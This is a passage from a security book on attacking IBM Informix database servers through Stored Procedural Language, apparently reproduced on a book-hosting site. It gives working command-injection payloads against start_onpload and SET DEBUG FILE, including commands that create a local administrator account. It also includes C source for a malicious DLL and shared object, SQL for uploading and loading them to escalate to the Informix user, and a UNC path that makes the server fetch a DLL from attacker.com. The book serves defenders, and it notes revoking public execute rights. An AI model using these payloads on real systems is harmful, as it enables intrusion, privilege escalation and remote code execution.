Attacking Informix with Stored Procedural Language (SPL)

Informix supports procedures and functions, otherwise known as routines, written in Stored Procedural Language, or SPL. Procedures can be extended with C libraries or Java, and to help with the security aspects of this Informix supports the idea of giving users the "usage" permission on languages:

 grant usage on language c to david 

This will store a row in the syslangauth table authorizing account david the use of the C language. Even though public has usage of the SPL language by default, a user must have the "resource" permission or "dba" to be able to create a routine. In other words, those with only "connect" permissions can't create routines.

Running Arbitrary Commands with SPL

One of the more worrying aspects about SPL is the built-in SYSTEM function. As you'll probably guess this takes an operating system command as an argument and executes it:

 CREATE PROCEDURE mycmd()                DEFINE CMD CHAR(255);                LET CMD = 'dir > c:\res.txt';                SYSTEM CMD;     END PROCEDURE; 

Giving users the ability to run operating system commands is frightening especially because it's bits of functionality like this that attackers will exploit to gain full control of the server. If you know a bit about Informix you already may be questioning thisthe command runs with the logged-on user's privileges and not that of the Informix userso where can the harm in that be? Well, being able to run OS commands even with low privileges is simply one step away from gaining complete controlin fact, I'll demonstrate this with an example shortly. At least those with only "connect" permissions can't use this call to system. Or can they? Indeed they canI wouldn't have brought it up otherwise. A couple of default stored procedures call system. This is the code for the start_onpload procedure. Public has the execute permission for this:

 create procedure informix.start_onpload(args char(200)) returning int;     define command char(255); -- build command string here     define rtnsql  int;       -- place holder for exception sqlcode setting     define rtnisam int;       -- isam error code. Should be onpload exit status     {If $INFORMIXDIR/bin/onpload not found try /usr/informix/bin/onpload}    { or NT style}     on exception in (-668) set rtnsql, rtnisam       if rtnisam = -2 then             { If onpload.exe not found by default UNIX style-environment}             let command = 'cmd /c %INFORMIXDIR%\bin\onpload '  args;             system (command);             return 0;          end if          if rtnisam = -1 then               let command = '/usr/informix/bin/onpload '  args;               system (command);             return 0;         end if         return rtnisam;     end exception     let command = '$INFORMIXDIR/bin/onpload '  args;     system (command);     return 0; end procedure; 

As you can see, the user-supplied "args" is concatenated to 'cmd /c %INFORMIXDIR%\bin\onpload ' on Windows and '/usr/informix/bin/onpload' on Unix systems. Attackers with only "connect" permissions can exploit this to run arbitrary OS commands.

On Windows they'd issue

 execute procedure informix.start_onpload('foobar && dir > c:\foo.txt') 

and on Unix they'd issue

 execute procedure informix.start_onpload('foobar ;/bin/ls > /tmp/foo.txt') 

What's happening here is that shell metacharacters are not being stripped and so when passed to the shell they're interpreted. The && on Windows tells cmd.exe to run the second command and the ; on Unix tells /bin/sh to run the second command. Both the informix.dbexp and informix.dbimp procedures are likewise vulnerable. Note that any injected additional command will run with the permissions of the logged-on user and not that of the Informix user. Let's look at a way in which a low-privileged user can exploit this to gain complete control of the server. I'll use Windows as the example but the same technique can be used for Unix servers, too. The attack involves copying a DLL to the server via SQL and then getting the server to load the DLL. When the DLL is loaded the attacker's code executes.

First, the attacker creates and compiles a DLL on his own machine:

 #include <stdio.h> #include <windows.h> int __declspec (dllexport) MyFunctionA(char *ptr)  {         return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpReserved) {         system("c:\whoami > c:\infx.txt");         return TRUE; } C:\>cl /LD dll.c 

As you can see, this DLL calls system() from the DllMain function. When DLLs are loaded into a process the DllMain function is (usually) executed. Once compiled, the attacker connects to the database server and creates a temporary table:

 CREATE temp TABLE dlltable (name varchar(20), dll clob) 

With this done he uploads his DLL:

 INSERT INTO dlltable (name,dll) VALUES ('mydll', FILETOCLOB('c:\dll.dll', 'client')) 

(The FILETOCLOB function can be used to read files from the client as well as the server. More on this later. Oh, and it suffers from a stack-based buffer overflow vulnerability, too. Public can execute this function by default.)

By executing this INSERT, the DLL is transferred from the client machine to the server and is stored in the temp table the attacker just created. Next, he writes it out to the disk:

 SELECT name,LOTOFILE(dll,'C:\g.dll','server') from dlltable where name = 'mydll' 

(The LOTOFILE function can be used to write files on the server. More on this later. Oh, and it, like FILETOCLOB, suffers from a stack-based buffer overflow vulnerability, too. Public can execute this function by default.)

When the SELECT is executed, Informix creates a file called C:\g.dll.0000000041dc4e74 (or similar).

Now, the attacker needs to change the attributes of the DLL. If the file is not "Read Only," attempts to load it later will fail. The attacker achieves this with the following:

 execute procedure informix.start_onpload('AAAA & attrib +R C:\g.dll.0000000041dc4e74') 

Here, the attacker is exploiting the command injection vulnerability in the start_onpload procedure. Note that when the system function is called cmd.exe will run as the logged-on usernot the Informix user. Finally, to gain the privileges of the Informix user, which is a local administrator on Windows, the attacker executes

 execute procedure informix.ifx_replace_module('nosuch.dll','C:\g.dll.0000000041dc4e74','c','') 

The ifx_replace_module is used to replace shared objects that are loaded via SPL calls. When executed, this causes Informix to load the DLL and when the DLL loads the DllMain() function is executed and does so with the privileges of the Informix user. By placing nefarious code in the DllMain function, the attacker can run code as the Informix user and thus gain control of the database server.

On Linux, Informix does the same thing. If you create a shared object and export an init function, when it is loaded by oninit the function is executed.

 // mylib.c // gcc -fPIC -c mylib.c // gcc -shared -nostartfiles -o libmylib.so mylib.o #include <stdio.h> void init(void) {       system("whoami > /tmp/whoami.txt"); return; } 

If this is compiled and placed in the /tmp directory and is loaded with

 execute procedure informix.ifx_replace_module('foobar','/tmp/libmylib.so','c','') 

the results of the whoami command show it to be the Informix user.

This privilege upgrade attack has used multiple security vulnerabilities to succeed. Being able to write out files on the server and run operating system commands is clearly dangerous; but being able to force Informix to load arbitrary libraries is even more so.

Before closing this section on running operating system commands we'll look at one more problem. On Windows and Linux the SET DEBUG FILE SQL command causes the Informix server process to call the system() function. On Windows the command executed by Informix is "cmd /c type nul > C:\Informix\sqexpln\user-supplied-filename".

By setting the debug filename to foo&command, an attacker can run arbitrary commandsfor example:

 SET DEBUG FILE TO 'foo&dir > c:\sqlout.txt' 

What's interesting here is that the command, in the case, runs with the privileges not of the logged-on user, but the Informix user. Because the Informix user is a local administrator, an attacker could execute

 SET DEBUG FILE TO 'foo&net user hack password!! /add' SET DEBUG FILE TO 'foo&net localgroup administrators hack /add' SET DEBUG FILE TO 'foo&net localgroup Informix-Admin hack /add' 

and create himself a highly privileged account.

On Linux it's slightly different. The command run is

 /bin/sh c umask 0; echo > '/user-supplied-filename' 

Note the presence of single quotes. You need to break out of these, embed your arbitrary command, and then close them again. By running

 SET DEBUG FILE TO "/tmp/a';/bin/ls>/tmp/zzzz;echo 'hello" 

Informix ends up executing

 /bin/sh -c umask 0;echo > '/tmp/a';/bin/ls>/tmp/zzzz;echo 'hello' 

Note that while on Windows the command runs as the Informix user, it doesn't on Linux. The command will run with the privileges of the logged-on user instead.

While we're on SET DEBUG FILE I should note that it's vulnerable to a stack-based buffer overflow vulnerability, too.

Loading Arbitrary Libraries

Informix supports a number of functions that allow routine libraries to be replaced on the fly. This way, if a developer wants to change the code of a function he can recompile the library and then replace it without having to bring down the server. You've already seen this in action using the ifx_replace_module function. There are similar functions, such as reload_module and ifx_load_internal. These can be abused by low-privileged users to force Informix to load arbitrary libraries and execute code as the Informix user.

One aspect that should be considered on Informix running on Windows is UNC paths.

 execute function informix.ifx_load_internal('\attacker.com\bin\ifxdll.dll','c') 

This will force the Informix server to connect to attacker.com over SMB and connect to the bin share. Because the oninit process is running as the Informix user, when the connection to the share is made it is done so with its credentials. Therefore, attacker.com needs to be configured to allow any user ID and password to be used for authentication. Once connected, the Informix server downloads ifxdll.dll and loads it into its address space and executes the DllMain() function.

It's important to ensure that public has had the execute permission removed from these routines; they have been given it by default.

Reading and Writing Arbitrary Files on the Server

You've just seen two functions: LOTOFILE and FILETOCLOB. These can be used to read and write files on the server.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net